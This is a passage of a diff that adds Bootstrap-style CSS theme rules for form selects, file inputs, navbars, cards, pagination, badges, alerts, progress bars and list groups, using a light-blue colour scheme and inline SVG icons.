2px); + padding: 0.375rem 1.75rem 0.375rem 0.75rem; + line-height: 1.5; + color: #495057; + vertical-align: middle; + background: #fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right 0.75rem center; + background-size: 8px 10px; + border: 1px solid #ced4da; + border-radius: 0.25rem; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none +} + +.custom-select:focus { + border-color: #a1d6f4; + outline: 0; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(161, 214, 244, 0.5); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.075), 0 0 5px rgba(161, 214, 244, 0.5) +} + +.custom-select:focus::-ms-value { + color: #495057; + background-color: #fff +} + +.custom-select[multiple], .custom-select[size]:not([size="1"]) { + height: auto; + padding-right: 0.75rem; + background-image: none +} + +.custom-select:disabled { + color: #868e96; + background-color: #e9ecef +} + +.custom-select::-ms-expand { + opacity: 0 +} + +.custom-select-sm { + height: calc(1.8125rem + 2px); + padding-top: 0.375rem; + padding-bottom: 0.375rem; + font-size: 75% +} + +.custom-select-lg { + height: calc(2.875rem + 2px); + padding-top: 0.375rem; + padding-bottom: 0.375rem; + font-size: 125% +} + +.custom-file { + position: relative; + display: inline-block; + width: 100%; + height: calc(2.25rem + 2px); + margin-bottom: 0 +} + +.custom-file-input { + position: relative; + z-index: 2; + width: 100%; + height: calc(2.25rem + 2px); + margin: 0; + opacity: 0 +} + +.custom-file-input:focus ~ .custom-file-control { + border-color: #a1d6f4; + -webkit-box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.25); + box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.25) +} + +.custom-file-input:focus ~ .custom-file-control::before { + border-color: #a1d6f4 +} + +.custom-file-input:lang(en) ~ .custom-file-label::after { + content: "Browse" +} + +.custom-file-label { + position: absolute; + top: 0; + right: 0; + left: 0; + z-index: 1; + height: calc(2.25rem + 2px); + padding: 0.375rem 0.75rem; + line-height: 1.5; + color: #495057; + background-color: #fff; + border: 1px solid #ced4da; + border-radius: 0.25rem +} + +.custom-file-label::after { + position: absolute; + top: 0; + right: 0; + bottom: 0; + z-index: 3; + display: block; + height: calc(calc(2.25rem + 2px) - 1px * 2); + padding: 0.375rem 0.75rem; + line-height: 1.5; + color: #495057; + content: "Browse"; + background-color: #e9ecef; + border-left: 1px solid #ced4da; + border-radius: 0 0.25rem 0.25rem 0 +} + +.nav { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + padding-left: 0; + margin-bottom: 0; + list-style: none +} + +.nav-link { + display: block; + padding: 0.5rem 1rem +} + +.nav-link:hover, .nav-link:focus { + text-decoration: none +} + +.nav-link.disabled { + color: #868e96 +} + +.nav-tabs { + border-bottom: 1px solid #dee2e6 +} + +.nav-tabs .nav-item { + margin-bottom: -1px +} + +.nav-tabs .nav-link { + border: 1px solid transparent; + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem +} + +.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus { + border-color: #e9ecef #e9ecef #dee2e6 +} + +.nav-tabs .nav-link.disabled { + color: #868e96; + background-color: transparent; + border-color: transparent +} + +.nav-tabs .nav-link.active, .nav-tabs .nav-item.show .nav-link { + color: #495057; + background-color: #fff; + border-color: #dee2e6 #dee2e6 #fff +} + +.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-left-radius: 0; + border-top-right-radius: 0 +} + +.nav-pills .nav-link { + border-radius: 0.25rem +} + +.nav-pills .nav-link.active, .nav-pills .show > .nav-link { + color: #fff; + background-color: #2FA4E7 +} + +.nav-fill .nav-item { + -webkit-box-flex: 1; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + text-align: center +} + +.nav-justified .nav-item { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + text-align: center +} + +.tab-content > .tab-pane { + display: none +} + +.tab-content > .active { + display: block +} + +.navbar { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 0.5rem 1rem +} + +.navbar > .container, .navbar > .container-fluid { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between +} + +.navbar-brand { + display: inline-block; + padding-top: 0.3125rem; + padding-bottom: 0.3125rem; + margin-right: 1rem; + font-size: 1.25rem; + line-height: inherit; + white-space: nowrap +} + +.navbar-brand:hover, .navbar-brand:focus { + text-decoration: none +} + +.navbar-nav { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + padding-left: 0; + margin-bottom: 0; + list-style: none +} + +.navbar-nav .nav-link { + padding-right: 0; + padding-left: 0 +} + +.navbar-nav .dropdown-menu { + position: static; + float: none +} + +.navbar-text { + display: inline-block; + padding-top: 0.5rem; + padding-bottom: 0.5rem +} + +.navbar-collapse { + -ms-flex-preferred-size: 100%; + flex-basis: 100%; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.navbar-toggler { + padding: 0.25rem 0.75rem; + font-size: 1.25rem; + line-height: 1; + background-color: transparent; + border: 1px solid transparent; + border-radius: 0.25rem +} + +.navbar-toggler:hover, .navbar-toggler:focus { + text-decoration: none +} + +.navbar-toggler:not(:disabled):not(.disabled) { + cursor: pointer +} + +.navbar-toggler-icon { + display: inline-block; + width: 1.5em; + height: 1.5em; + vertical-align: middle; + content: ""; + background: no-repeat center center; + background-size: 100% 100% +} + +@media (max-width: 575.98px) { + .navbar-expand-sm > .container, .navbar-expand-sm > .container-fluid { + padding-right: 0; + padding-left: 0 + } +} + +@media (min-width: 576px) { + .navbar-expand-sm { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start + } + + .navbar-expand-sm .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row + } + + .navbar-expand-sm .navbar-nav .dropdown-menu { + position: absolute + } + + .navbar-expand-sm .navbar-nav .dropdown-menu-right { + right: 0; + left: auto + } + + .navbar-expand-sm .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem + } + + .navbar-expand-sm > .container, .navbar-expand-sm > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap + } + + .navbar-expand-sm .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto + } + + .navbar-expand-sm .navbar-toggler { + display: none + } + + .navbar-expand-sm .dropup .dropdown-menu { + top: auto; + bottom: 100% + } +} + +@media (max-width: 767.98px) { + .navbar-expand-md > .container, .navbar-expand-md > .container-fluid { + padding-right: 0; + padding-left: 0 + } +} + +@media (min-width: 768px) { + .navbar-expand-md { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start + } + + .navbar-expand-md .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row + } + + .navbar-expand-md .navbar-nav .dropdown-menu { + position: absolute + } + + .navbar-expand-md .navbar-nav .dropdown-menu-right { + right: 0; + left: auto + } + + .navbar-expand-md .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem + } + + .navbar-expand-md > .container, .navbar-expand-md > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap + } + + .navbar-expand-md .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto + } + + .navbar-expand-md .navbar-toggler { + display: none + } + + .navbar-expand-md .dropup .dropdown-menu { + top: auto; + bottom: 100% + } +} + +@media (max-width: 991.98px) { + .navbar-expand-lg > .container, .navbar-expand-lg > .container-fluid { + padding-right: 0; + padding-left: 0 + } +} + +@media (min-width: 992px) { + .navbar-expand-lg { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start + } + + .navbar-expand-lg .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row + } + + .navbar-expand-lg .navbar-nav .dropdown-menu { + position: absolute + } + + .navbar-expand-lg .navbar-nav .dropdown-menu-right { + right: 0; + left: auto + } + + .navbar-expand-lg .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem + } + + .navbar-expand-lg > .container, .navbar-expand-lg > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap + } + + .navbar-expand-lg .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto + } + + .navbar-expand-lg .navbar-toggler { + display: none + } + + .navbar-expand-lg .dropup .dropdown-menu { + top: auto; + bottom: 100% + } +} + +@media (max-width: 1199.98px) { + .navbar-expand-xl > .container, .navbar-expand-xl > .container-fluid { + padding-right: 0; + padding-left: 0 + } +} + +@media (min-width: 1200px) { + .navbar-expand-xl { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start + } + + .navbar-expand-xl .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row + } + + .navbar-expand-xl .navbar-nav .dropdown-menu { + position: absolute + } + + .navbar-expand-xl .navbar-nav .dropdown-menu-right { + right: 0; + left: auto + } + + .navbar-expand-xl .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem + } + + .navbar-expand-xl > .container, .navbar-expand-xl > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap + } + + .navbar-expand-xl .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto + } + + .navbar-expand-xl .navbar-toggler { + display: none + } + + .navbar-expand-xl .dropup .dropdown-menu { + top: auto; + bottom: 100% + } +} + +.navbar-expand { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start +} + +.navbar-expand > .container, .navbar-expand > .container-fluid { + padding-right: 0; + padding-left: 0 +} + +.navbar-expand .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row +} + +.navbar-expand .navbar-nav .dropdown-menu { + position: absolute +} + +.navbar-expand .navbar-nav .dropdown-menu-right { + right: 0; + left: auto +} + +.navbar-expand .navbar-nav .nav-link { + padding-right: 0.5rem; + padding-left: 0.5rem +} + +.navbar-expand > .container, .navbar-expand > .container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap +} + +.navbar-expand .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto +} + +.navbar-expand .navbar-toggler { + display: none +} + +.navbar-expand .dropup .dropdown-menu { + top: auto; + bottom: 100% +} + +.navbar-light .navbar-brand { + color: rgba(0, 0, 0, 0.9) +} + +.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus { + color: rgba(0, 0, 0, 0.9) +} + +.navbar-light .navbar-nav .nav-link { + color: rgba(0, 0, 0, 0.5) +} + +.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus { + color: rgba(0, 0, 0, 0.7) +} + +.navbar-light .navbar-nav .nav-link.disabled { + color: rgba(0, 0, 0, 0.3) +} + +.navbar-light .navbar-nav .show > .nav-link, .navbar-light .navbar-nav .active > .nav-link, .navbar-light .navbar-nav .nav-link.show, .navbar-light .navbar-nav .nav-link.active { + color: rgba(0, 0, 0, 0.9) +} + +.navbar-light .navbar-toggler { + color: rgba(0, 0, 0, 0.5); + border-color: rgba(0, 0, 0, 0.1) +} + +.navbar-light .navbar-toggler-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E") +} + +.navbar-light .navbar-text { + color: rgba(0, 0, 0, 0.5) +} + +.navbar-light .navbar-text a { + color: rgba(0, 0, 0, 0.9) +} + +.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus { + color: rgba(0, 0, 0, 0.9) +} + +.navbar-dark .navbar-brand { + color: #fff +} + +.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus { + color: #fff +} + +.navbar-dark .navbar-nav .nav-link { + color: rgba(255, 255, 255, 0.8) +} + +.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus { + color: #fff +} + +.navbar-dark .navbar-nav .nav-link.disabled { + color: rgba(255, 255, 255, 0.25) +} + +.navbar-dark .navbar-nav .show > .nav-link, .navbar-dark .navbar-nav .active > .nav-link, .navbar-dark .navbar-nav .nav-link.show, .navbar-dark .navbar-nav .nav-link.active { + color: #fff +} + +.navbar-dark .navbar-toggler { + color: rgba(255, 255, 255, 0.8); + border-color: rgba(255, 255, 255, 0.1) +} + +.navbar-dark .navbar-toggler-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.8)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E") +} + +.navbar-dark .navbar-text { + color: rgba(255, 255, 255, 0.8) +} + +.navbar-dark .navbar-text a { + color: #fff +} + +.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus { + color: #fff +} + +.card { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + min-width: 0; + word-wrap: break-word; + background-color: #fff; + background-clip: border-box; + border: 1px solid rgba(0, 0, 0, 0.125); + border-radius: 0.25rem +} + +.card > hr { + margin-right: 0; + margin-left: 0 +} + +.card > .list-group:first-child .list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem +} + +.card > .list-group:last-child .list-group-item:last-child { + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0.25rem +} + +.card-body { + -webkit-box-flex: 1; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + padding: 1.25rem +} + +.card-title { + margin-bottom: 0.75rem +} + +.card-subtitle { + margin-top: -0.375rem; + margin-bottom: 0 +} + +.card-text:last-child { + margin-bottom: 0 +} + +.card-link:hover { + text-decoration: none +} + +.card-link + .card-link { + margin-left: 1.25rem +} + +.card-header { + padding: 0.75rem 1.25rem; + margin-bottom: 0; + background-color: rgba(0, 0, 0, 0.03); + border-bottom: 1px solid rgba(0, 0, 0, 0.125) +} + +.card-header:first-child { + border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0 +} + +.card-header + .list-group .list-group-item:first-child { + border-top: 0 +} + +.card-footer { + padding: 0.75rem 1.25rem; + background-color: rgba(0, 0, 0, 0.03); + border-top: 1px solid rgba(0, 0, 0, 0.125) +} + +.card-footer:last-child { + border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px) +} + +.card-header-tabs { + margin-right: -0.625rem; + margin-bottom: -0.75rem; + margin-left: -0.625rem; + border-bottom: 0 +} + +.card-header-pills { + margin-right: -0.625rem; + margin-left: -0.625rem +} + +.card-img-overlay { + position: absolute; + top: 0; + right: 0; + bottom: 0; + left: 0; + padding: 1.25rem +} + +.card-img { + width: 100%; + border-radius: calc(0.25rem - 1px) +} + +.card-img-top { + width: 100%; + border-top-left-radius: calc(0.25rem - 1px); + border-top-right-radius: calc(0.25rem - 1px) +} + +.card-img-bottom { + width: 100%; + border-bottom-right-radius: calc(0.25rem - 1px); + border-bottom-left-radius: calc(0.25rem - 1px) +} + +.card-deck { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column +} + +.card-deck .card { + margin-bottom: 15px +} + +@media (min-width: 576px) { + .card-deck { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + margin-right: -15px; + margin-left: -15px + } + + .card-deck .card { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-flex: 1; + -ms-flex: 1 0 0%; + flex: 1 0 0%; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + margin-right: 15px; + margin-bottom: 0; + margin-left: 15px + } +} + +.card-group { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column +} + +.card-group > .card { + margin-bottom: 15px +} + +@media (min-width: 576px) { + .card-group { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row wrap; + flex-flow: row wrap + } + + .card-group > .card { + -webkit-box-flex: 1; + -ms-flex: 1 0 0%; + flex: 1 0 0%; + margin-bottom: 0 + } + + .card-group > .card + .card { + margin-left: 0; + border-left: 0 + } + + .card-group > .card:first-child { + border-top-right-radius: 0; + border-bottom-right-radius: 0 + } + + .card-group > .card:first-child .card-img-top, .card-group > .card:first-child .card-header { + border-top-right-radius: 0 + } + + .card-group > .card:first-child .card-img-bottom, .card-group > .card:first-child .card-footer { + border-bottom-right-radius: 0 + } + + .card-group > .card:last-child { + border-top-left-radius: 0; + border-bottom-left-radius: 0 + } + + .card-group > .card:last-child .card-img-top, .card-group > .card:last-child .card-header { + border-top-left-radius: 0 + } + + .card-group > .card:last-child .card-img-bottom, .card-group > .card:last-child .card-footer { + border-bottom-left-radius: 0 + } + + .card-group > .card:only-child { + border-radius: 0.25rem + } + + .card-group > .card:only-child .card-img-top, .card-group > .card:only-child .card-header { + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem + } + + .card-group > .card:only-child .card-img-bottom, .card-group > .card:only-child .card-footer { + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0.25rem + } + + .card-group > .card:not(:first-child):not(:last-child):not(:only-child) { + border-radius: 0 + } + + .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top, .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom, .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header, .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer { + border-radius: 0 + } +} + +.card-columns .card { + margin-bottom: 0.75rem +} + +@media (min-width: 576px) { + .card-columns { + -webkit-column-count: 3; + column-count: 3; + -webkit-column-gap: 1.25rem; + column-gap: 1.25rem + } + + .card-columns .card { + display: inline-block; + width: 100% + } +} + +.breadcrumb { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + padding: 0.75rem 1rem; + margin-bottom: 1rem; + list-style: none; + background-color: #e9ecef; + border-radius: 0.25rem +} + +.breadcrumb-item + .breadcrumb-item::before { + display: inline-block; + padding-right: 0.5rem; + padding-left: 0.5rem; + color: #868e96; + content: "/" +} + +.breadcrumb-item + .breadcrumb-item:hover::before { + text-decoration: underline +} + +.breadcrumb-item + .breadcrumb-item:hover::before { + text-decoration: none +} + +.breadcrumb-item.active { + color: #868e96 +} + +.pagination { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + padding-left: 0; + list-style: none; + border-radius: 0.25rem +} + +.page-link { + position: relative; + display: block; + padding: 0.5rem 0.75rem; + margin-left: -1px; + line-height: 1.25; + color: #2FA4E7; + background-color: #fff; + border: 1px solid #dee2e6 +} + +.page-link:hover { + color: #157ab5; + text-decoration: none; + background-color: #e9ecef; + border-color: #dee2e6 +} + +.page-link:focus { + z-index: 2; + outline: 0; + -webkit-box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.25); + box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.25) +} + +.page-link:not(:disabled):not(.disabled) { + cursor: pointer +} + +.page-item:first-child .page-link { + margin-left: 0; + border-top-left-radius: 0.25rem; + border-bottom-left-radius: 0.25rem +} + +.page-item:last-child .page-link { + border-top-right-radius: 0.25rem; + border-bottom-right-radius: 0.25rem +} + +.page-item.active .page-link { + z-index: 1; + color: #fff; + background-color: #2FA4E7; + border-color: #2FA4E7 +} + +.page-item.disabled .page-link { + color: #868e96; + pointer-events: none; + cursor: auto; + background-color: #fff; + border-color: #dee2e6 +} + +.pagination-lg .page-link { + padding: 0.75rem 1.5rem; + font-size: 1.25rem; + line-height: 1.5 +} + +.pagination-lg .page-item:first-child .page-link { + border-top-left-radius: 0.3rem; + border-bottom-left-radius: 0.3rem +} + +.pagination-lg .page-item:last-child .page-link { + border-top-right-radius: 0.3rem; + border-bottom-right-radius: 0.3rem +} + +.pagination-sm .page-link { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5 +} + +.pagination-sm .page-item:first-child .page-link { + border-top-left-radius: 0.2rem; + border-bottom-left-radius: 0.2rem +} + +.pagination-sm .page-item:last-child .page-link { + border-top-right-radius: 0.2rem; + border-bottom-right-radius: 0.2rem +} + +.badge { + display: inline-block; + padding: 0.25em 0.4em; + font-size: 75%; + font-weight: 700; + line-height: 1; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: 0.25rem +} + +.badge:empty { + display: none +} + +.btn .badge { + position: relative; + top: -1px +} + +.badge-pill { + padding-right: 0.6em; + padding-left: 0.6em; + border-radius: 10rem +} + +.badge-primary { + color: #fff; + background-color: #2FA4E7 +} + +.badge-primary[href]:hover, .badge-primary[href]:focus { + color: #fff; + text-decoration: none; + background-color: #178acc +} + +.badge-secondary { + color: #212529; + background-color: #e9ecef +} + +.badge-secondary[href]:hover, .badge-secondary[href]:focus { + color: #212529; + text-decoration: none; + background-color: #cbd3da +} + +.badge-success { + color: #fff; + background-color: #73A839 +} + +.badge-success[href]:hover, .badge-success[href]:focus { + color: #fff; + text-decoration: none; + background-color: #59822c +} + +.badge-info { + color: #fff; + background-color: #033C73 +} + +.badge-info[href]:hover, .badge-info[href]:focus { + color: #fff; + text-decoration: none; + background-color: #022241 +} + +.badge-warning { + color: #fff; + background-color: #DD5600 +} + +.badge-warning[href]:hover, .badge-warning[href]:focus { + color: #fff; + text-decoration: none; + background-color: #aa4200 +} + +.badge-danger { + color: #fff; + background-color: #C71C22 +} + +.badge-danger[href]:hover, .badge-danger[href]:focus { + color: #fff; + text-decoration: none; + background-color: #9a161a +} + +.badge-light { + color: #212529; + background-color: #f8f9fa +} + +.badge-light[href]:hover, .badge-light[href]:focus { + color: #212529; + text-decoration: none; + background-color: #dae0e5 +} + +.badge-dark { + color: #fff; + background-color: #343a40 +} + +.badge-dark[href]:hover, .badge-dark[href]:focus { + color: #fff; + text-decoration: none; + background-color: #1d2124 +} + +.jumbotron { + padding: 2rem 1rem; + margin-bottom: 2rem; + background-color: #e9ecef; + border-radius: 0.3rem +} + +@media (min-width: 576px) { + .jumbotron { + padding: 4rem 2rem + } +} + +.jumbotron-fluid { + padding-right: 0; + padding-left: 0; + border-radius: 0 +} + +.alert { + position: relative; + padding: 0.75rem 1.25rem; + margin-bottom: 1rem; + border: 1px solid transparent; + border-radius: 0.25rem +} + +.alert-heading { + color: inherit +} + +.alert-link { + font-weight: 700 +} + +.alert-dismissible { + padding-right: 4rem +} + +.alert-dismissible .close { + position: absolute; + top: 0; + right: 0; + padding: 0.75rem 1.25rem; + color: inherit +} + +.alert-primary { + color: #185578; + background-color: #d5edfa; + border-color: #c5e6f8 +} + +.alert-primary hr { + border-top-color: #aedcf5 +} + +.alert-primary .alert-link { + color: #10374e +} + +.alert-secondary { + color: #797b7c; + background-color: #fbfbfc; + border-color: #f9fafb +} + +.alert-secondary hr { + border-top-color: #eaedf1 +} + +.alert-secondary .alert-link { + color: #606162 +} + +.alert-success { + color: #3c571e; + background-color: #e3eed7; + border-color: #d8e7c8 +} + +.alert-success hr { + border-top-color: #cbdfb6 +} + +.alert-success .alert-link { + color: #223111 +} + +.alert-info { + color: #021f3c; + background-color: #cdd8e3; + border-color: #b8c8d8 +} + +.alert-info hr { + border-top-color: #a8bbcf +} + +.alert-info .alert-link { + color: #00060b +} + +.alert-warning { + color: #732d00; + background-color: #f8ddcc; + border-color: #f5d0b8 +} + +.alert-warning hr { + border-top-color: #f2c1a2 +} + +.alert-warning .alert-link { + color: #401900 +} + +.alert-danger { + color: #670f12; + background-color: #f4d2d3; + border-color: #efbfc1 +} + +.alert-danger hr { + border-top-color: #eaabad +} + +.alert-danger .alert-link { + color: #3a090a +} + +.alert-light { + color: #818182; + background-color: #fefefe; + border-color: #fdfdfe +} + +.alert-light hr { + border-top-color: #ececf6 +} + +.alert-light .alert-link { + color: #686868 +} + +.alert-dark { + color: #1b1e21; + background-color: #d6d8d9; + border-color: #c6c8ca +} + +.alert-dark hr { + border-top-color: #b9bbbe +} + +.alert-dark .alert-link { + color: #040505 +} + +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 1rem 0 + } + to { + background-position: 0 0 + } +} + +@keyframes progress-bar-stripes { + from { + background-position: 1rem 0 + } + to { + background-position: 0 0 + } +} + +.progress { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + height: 1rem; + overflow: hidden; + font-size: 0.75rem; + background-color: #e9ecef; + border-radius: 0.25rem +} + +.progress-bar { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + color: #fff; + text-align: center; + background-color: #2FA4E7; + -webkit-transition: width 0.6s ease; + transition: width 0.6s ease +} + +.progress-bar-striped { + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-size: 1rem 1rem +} + +.progress-bar-animated { + -webkit-animation: progress-bar-stripes 1s linear infinite; + animation: progress-bar-stripes 1s linear infinite +} + +.media { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: start; + -ms-flex-align: start; + align-items: flex-start +} + +.media-body { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1 +} + +.list-group { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + padding-left: 0; + margin-bottom: 0 +} + +.list-group-item-action { + width: 100%; + color: #495057; + text-align: inherit +} + +.list-group-item-action:hover, .list-group-item-action:focus { + color: #495057; + text-decoration: none; + background-color: #f8f9fa +} + +.list-group-item-action:active { + color: #868e96; + background-color: #e9ecef +} + +.list-group-item { + position: relative; + display: block; + padding: 0.75rem 1.25rem; + margin-bottom: -1px; + background-color: #fff; + border: 1px solid rgba(0, 0, 0, 0.125) +} + +.list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem +} + +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0.25rem +} + +.list-group-item:hover, .list-group-item:focus { + z-index: 1; + text-decoration: none +} + +.list-group-item.disabled, .list-group-item:disabled { + color: #868e96; + background-color: #fff +} + +.list-group-item.active { + z-index: 2; + color: #fff; + background-color: #2FA4E7; + border-color: #2FA4E7 +} + +.list-group-flush .list-group-item { + border-right: 0; + border-left: 0; + border-radius: 0 +} + +.list-group-flush:first-child .list-group-item:first-child { + border-top: 0 +} + +.list-group-flush:last-child .list-group-item:last-child { + border-bottom: 0 +} + +.list-group-item-primary { + color: #185578; + background-color: #c5e6f8 +} + +.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus { + color: #185578; + background-color: #aedcf5 +} + +.list-group-item-primary.list-group-item-action.active { + color: #fff; + background-color: #185578; + border-color: #185578 +} + +.list-group-item-secondary { + color: #797b7c; + background-color: #f9fafb +} + +.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus { + color: #797b7c; + background-color: #eaedf1 +} + +.list-group-item-secondary.list-group-item-action.active { + color: #fff; + background-color: #797b7c; + border-color: #797b7c +} + +.list-group-item-success { + color: #3c571e; + background-color: #d8e7c8 +} + 